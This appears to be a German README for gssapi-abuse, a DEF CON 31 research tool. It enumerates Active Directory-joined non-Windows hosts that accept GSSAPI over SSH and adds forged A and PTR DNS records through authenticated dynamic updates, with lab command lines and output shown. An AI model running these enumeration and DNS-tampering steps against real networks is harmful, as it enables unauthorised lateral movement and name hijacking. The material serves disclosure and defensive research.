
Ein Tool zur Aufzählung potenzieller Hosts, die für GSSAPI-Missbrauch in Active Directory-Netzwerken anfällig sind.
gssapi-abuse wurde im Rahmen meines DEF CON 31 Vortrags veröffentlicht. Eine vollständige Beschreibung des Missbrauchsvektors finden Sie hier: A Broken Marriage: Abusing Mixed Vendor Kerberos Stacks
Das Tool hat zwei Funktionen. Die erste ist die Fähigkeit, Nicht-Windows-Hosts aufzulisten, die in Active Directory eingebunden sind und GSSAPI-Authentifizierung über SSH anbieten. Die zweite Funktion ist die Fähigkeit, dynamische DNS-Updates für GSSAPI-missbrauchbare Hosts durchzuführen, die nicht die korrekten Forward- und/oder Reverse-Lookup-DNS-Einträge haben. Die GSSAPI-basierte Authentifizierung ist streng, wenn es um die Übereinstimmung von Service-Prinzipalen geht, daher sollten DNS-Einträge sowohl vom Hostnamen als auch von der IP-Adresse mit dem Service-Principal-Namen übereinstimmen.
gssapi-abuse erfordert einen funktionierenden krb5-Stack sowie eine korrekt konfigurierte krb5.conf.
Auf Windows-Hosts sollte zusätzlich zu den in requirements.txt aufgeführten Python-Modulen die MIT-Kerberos-Software installiert sein, die auf der MIT Kerberos Distribution Page bezogen werden kann. Die Windows-krb5.conf befindet sich unter C:\ProgramData\MIT\Kerberos5\krb5.conf
Das Paket libkrb5-dev muss vor der Installation der Python-Anforderungen installiert werden.
Sobald die Anforderungen erfüllt sind, können Sie die Python-Abhängigkeiten mit dem pip/pip3-Tool installieren
pip install -r requirements.txt
Der Aufzählungsmodus verbindet sich mit Active Directory und führt eine LDAP-Suche nach allen Computern durch, die das Wort Windows nicht im Betriebssystem-Attribut enthalten.
Sobald die Liste der Nicht-Windows-Maschinen ermittelt wurde, versucht gssapi-abuse, eine SSH-Verbindung zu jedem Host herzustellen und zu prüfen, ob die GSSAPI-basierte Authentifizierung erlaubt ist.
python .\gssapi-abuse.py -d ad.ginge.com enum -u john.doe -p SuperSecret!
[=] Found 2 non Windows machines registered within AD
[!] Host ubuntu.ad.ginge.com does not have GSSAPI enabled over SSH, ignoring
[+] Host centos.ad.ginge.com has GSSAPI enabled over SSH
Der DNS-Modus verwendet Kerberos und dnspython, um eine authentifizierte DNS-Aktualisierung über Port 53 unter Verwendung des DNS-TSIG-Protokolls durchzuführen. Derzeit ist der dns-Modus auf eine funktionierende krb5-Konfiguration mit einem gültigen TGT oder DNS-Dienstticket angewiesen, das auf einen bestimmten Domänencontroller abzielt, z.B. DNS/dc1.victim.local.
Hinzufügen eines DNS-A-Records für den Host ahost.ad.ginge.com
python .\gssapi-abuse.py -d ad.ginge.com dns -t ahost -a add --type A --data 192.168.128.50
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding A record for target ahost using data 192.168.128.50
[+] Applied 1 updates successfully
Hinzufügen eines reverse PTR-Records für den Host ahost.ad.ginge.com. Beachten Sie, dass das data-Argument mit einem Punkt (.) abgeschlossen wird – dies ist wichtig, da der Record sonst relativ zur Zone wird, was wir nicht möchten. Außerdem müssen wir die Zielzone angeben, die aktualisiert werden soll, da PTR-Records in anderen Zonen als A-Records gespeichert werden.
python .\gssapi-abuse.py -d ad.ginge.com dns --zone 128.168.192.in-addr.arpa -t 50 -a add --type PTR --data ahost.ad.ginge.com.
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding PTR record for target 50 using data ahost.ad.ginge.com.
[+] Applied 1 updates successfully
Forward- und Reverse-DNS-Lookup-Ergebnisse nach der Ausführung
nslookup ahost.ad.ginge.com
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50
nslookup 192.168.128.50
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50